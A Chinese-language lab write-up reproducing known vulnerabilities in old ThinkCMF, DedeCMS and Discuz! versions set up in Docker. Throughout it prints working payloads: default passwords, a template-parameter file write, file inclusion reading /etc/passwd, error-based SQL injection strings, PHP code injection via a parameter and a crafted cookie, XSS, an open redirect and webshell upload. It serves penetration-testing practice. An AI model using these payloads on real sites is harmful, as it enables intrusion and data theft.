写在前面:本文为网上下载的cms搭建的靶场环境,内含thinkCMF+dedecms+discuz!;通过对靶场的测试,对cms的漏洞进行复现。 欢迎大家点赞收藏,点点关注更好了hhhhhh
0x001 环境搭建
通过docker搭建环境: 先把下载的镜像移到虚拟机中,在当前目录下导入镜像:
docker load < dedecms-cnvd_2018_01221.tar
docker load < discuz-wooyun_2010_080723.tar
docker load < thinkcmf-x1.6.0-x2.2.3.tar
通过docker images 命令查看是否导入成功。  最后通过命令docker-compose up -d 启动容器。  靶机IP为:192.168.255.128 通过访问:http://192.168.255.128:8002/  环境搭建完成。
cms | 版本 | 端口 |
---|
thinkCMF | X2.2.0 | 8082 | dedecms | V57_UTF8_SP1 | 8081 | discuz! | Discuz! 7.2 | 8002 |
0x002 漏洞复现
0x01 弱口令
漏洞描述: 攻击者可通过弱口令进入系统后台进行恶意操作。 漏洞链接地址:
http://192.168.255.128:8082/index.php?g=admin&m=public&a=login
http://192.168.255.128:8081/dede/login.php
http://192.168.255.128:8002/logging.php?action=login
漏洞测试: 访问漏洞链接,使用登录账号:admin/123456,进入后台。   访问链接http://192.168.255.128:8081/dede/login.php ,输入admin/admin,成功进入后台。   访问链接http://192.168.255.128:8002/logging.php?action=login ,输入admin/admin,成功进入后台。 
thinkCMF
0x02 任意文件上传
漏洞描述: 攻击者可以通过链接直接写入恶意文件至系统,获取权限。 漏洞链接地址:
http://192.168.255.128:8082/index.php?a=fetch&templateFile=public/index&prefix=%27%27&content=
漏洞测试: 访问漏洞链接,给content传参,写入恶意php脚本文件。 http://192.168.255.128:8082/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>  访问test.php文件,发现写入成功。 
0x03 头像上传处存在任意文件删除漏洞
漏洞描述: 可通过漏洞链接,burp抓包修改imurl参数,删除系统任意文件。 漏洞链接地址:
http://192.168.255.128:8082/index.php?g=User&m=Profile&a=do_avatar
漏洞测试: 先注册一个账号,登录系统,进入上传头像处。  可以看到默认图像是headicon_128.png  点击选择文件,上传头像,保存头像名称618a34ee382b4.jpg。   访问漏洞链接,burp抓包,修改imurl的值为618a34ee382b4.jpg。  删除成功,返回系统刷新,发现头像已经被删除。 
0x04 任意文件包含漏洞
漏洞描述: 通过给漏洞链接传入文件路径参数,即可任意读取系统任意文件内容。 漏洞链接地址:
http://192.168.255.128:8082/index.php?a=display&templateFile=
漏洞测试: 访问漏洞链接读取README.md文件内容:http://192.168.255.128:8082/index.php?a=display&templateFile=README.md ,发现读取成功。  尝试读取/etc/passwd文件内容,读取成功。 
0x05 后台存在SQL注入
漏洞描述: 存在报错注入,通过报错回显的信息获取数据库内的敏感数据。 漏洞链接地址: http://192.168.255.128:8082/g=Comment&m=commentadmin&a=check&check=1 漏洞测试: 登录后台后,访问漏洞链接post表单数据为: ids[]=1&ids[]=2 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) ,可获取数据库用户名。 
dedecms
0x06 URL重定向
漏洞描述: 攻击者可以修改页面跳转的链接,进而可使用户页面重定向到攻击者所指定的恶意页面。 漏洞链接地址:
http://192.168.255.128:8081/plus/download.php?open=1&link=
漏洞测试: 将link字段修改为http://www.baidu.com 的base64编码后的值即aHR0cDovL3d3dy5iYWlkdS5jb20= ,进行 url 重定向成功。  
0x07 远程代码执行
漏洞描述: 攻击者可通过修改链接中的参数,进行远程代码执行,获取系统权限。 漏洞链接地址:
http://192.168.255.128:8081/dede/sys_verifies.php?action=verify
漏洞测试: 需要登入后台,漏洞点存在于系统—系统设置—文件校验。  通过访问文件校验的路径即http://192.168.255.128:8081/dede/sys_verifies.php?action=verify 。  通过修改action参数为action=getfiles&refiles[]=123&refiles[]=\";phpinfo();die();// ,可远程代码执行。 
0x08 任意文件上传
漏洞描述: 通过漏洞可以写入恶意内容的文件,进而获取系统的权限。 漏洞链接地址:
http://192.168.255.128:8081/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads
漏洞测试: 需要登入进后台后,在核心—附件管理—文件式管理器-新建文件处存在恶意文件内容写入漏洞。   在根目录下写入一句话,点击保存。  使用蚁剑连接获取webshell。  标签源码管理处也可任意写入内容获取webshell。   访问标签链接: http://192.168.255.128:8081/include/taglib/php.lib.php 。  广告管理处存在任意内容写入漏洞。   点击代码获取插入广告的路径:/plus/ad_js.php?aid=22 。  访问view-source:http://192.168.255.128:8081/plus/ad_js.php?aid=22 ;获取phpinfo信息。  自定义宏标签管理处同样存在任意内容写入漏洞。  访问链接:http://192.168.255.128:8081/plus/mytag_js.php?aid=1 。 
0x09 存储型XSS
漏洞描述: 跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 漏洞链接地址:
http://192.168.255.128:8081/dede/mytag_add.php
漏洞测试: 需要登入后台后,模板—自定义宏标记—增加标记处存在xss。  插入以下代码。  保存返回,点击代码即可触发弹窗。 
discuz!
0x10 远程代码执行
漏洞描述: 攻击者可通过修改cookie的值,进行远程代码执行,获取系统权限。 漏洞链接地址:
http://192.168.255.128:8002/viewthread.php?tid=2&extra=page%3D1
漏洞测试: 随机点开一个帖子使用burp进行抓包。  将cookie的值修改为: Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 
0x11 个人资料处存在存储型XSS
漏洞描述: 跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 漏洞链接地址:
http://192.168.255.128:8002/memcp.php
漏洞测试: 登入后点击个人中心—个人资料—>个人签名处,插入以下代码。  保存后,每点击个人中心都可触发弹窗。 
0x12 SQL注入
漏洞描述: 存在报错注入。 漏洞链接地址:
http://192.168.255.128:8002/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
漏洞测试: 访问漏洞链接可得到数据库版本信息。 
0x13 反射型XSS
漏洞描述: 跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 漏洞链接地址:
http://192.168.255.128:8081/dede/login.php?gotopage=%22%3E%3Cinput%20type=%22text%22%20onInput=alert(/hack/)%3E%3Cx=%22
漏洞测试: 对跳转页面参数进行构造恶意代码:"><input type="text" onInput=alert(xsstest)><x=" ,访问链接,在登录界面多了一个输入框,当在输入框输入时会触发弹窗。  
总结
老版本的cms存在大量的漏洞,本文复现的漏洞并没有覆盖到各种版本存在的所有漏洞,仅供参考。在渗透测试过程中如果碰到cms,要善于搜索,互联网上有很多前辈们总结的漏洞文章。(如果需要本文的靶场环境练习,可评论)
参考文章
thinkcmf: ThinkCMF5.x以下漏洞合集 ThinkCMF X2.2.2多处SQL注入漏洞分析 dedecms: DEDECMS 漏洞汇总 discuz!: Discuz! X系列全版本后台SQL注入漏洞 Discuz!X < 3.4 R20191201 后台SQL注入漏洞
|